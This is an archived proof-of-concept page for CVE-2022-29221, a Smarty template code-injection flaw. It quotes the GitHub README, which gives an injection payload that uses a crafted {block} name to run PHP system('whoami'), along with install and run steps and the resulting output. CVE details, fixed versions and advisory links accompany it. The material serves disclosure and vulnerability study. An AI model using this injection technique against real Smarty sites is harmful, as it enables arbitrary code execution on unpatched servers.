Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-29221 PoC — Smarty 代码注入漏洞

Source
Associated Vulnerability
Title:Smarty 代码注入漏洞 (CVE-2022-29221)
Description:Smarty是基于PHP的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。 Smarty 3.1.45之前的3.1.x版本以及4.1.1之前的4.1.x版本存在代码注入漏洞,远程攻击者利用该漏洞可以发送专门编写的请求,并在目标系统上执行任意PHP代码。
Description
CVE-2022-29221 Proof of Concept Code - Smarty RCE
Readme
# CVE-2022-29221-PoC
This is a very basic Smarty sceleton app with a single template that shows the Proof of Concept code for CVE-2022-29221.

Injection Example Code:
```
{block name="poc*/system('whoami');/*"}ABC{/block}
```
See: https://github.com/sbani/CVE-2022-29221-PoC/blob/main/template/index.tpl

After running the code, Smarty will add a new php file in the `./compile/` folder. You can see the resulting (and vulnerable) code there.

## Run test

Install:
```
git clone git@github.com:sbani/CVE-2022-29221-PoC.git
cd CVE-2022-29221-PoC
composer install
```

Run:
```
❯ whoami
sbani
❯ php index.php
sbani
sbani
ABC
```

## CVE details
> Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently no known workarounds.

Fix commit is here:
- https://github.com/smarty-php/smarty/commit/64ad6442ca1da31cefdab5c9874262b702cccddd


References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-29221
- https://github.com/smarty-php/smarty/security/advisories/GHSA-634x-pc3q-cf4c
File Snapshot

[4.0K] /data/pocs/2fb6c621515978705e5cb75792cfeed6d44a5f6c ├── [4.0K] cache ├── [4.0K] compile ├── [ 60] composer.json ├── [2.8K] composer.lock ├── [4.0K] config ├── [ 240] index.php ├── [1.0K] LICENSE ├── [1.3K] README.md └── [4.0K] template └── [ 74] index.tpl 4 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.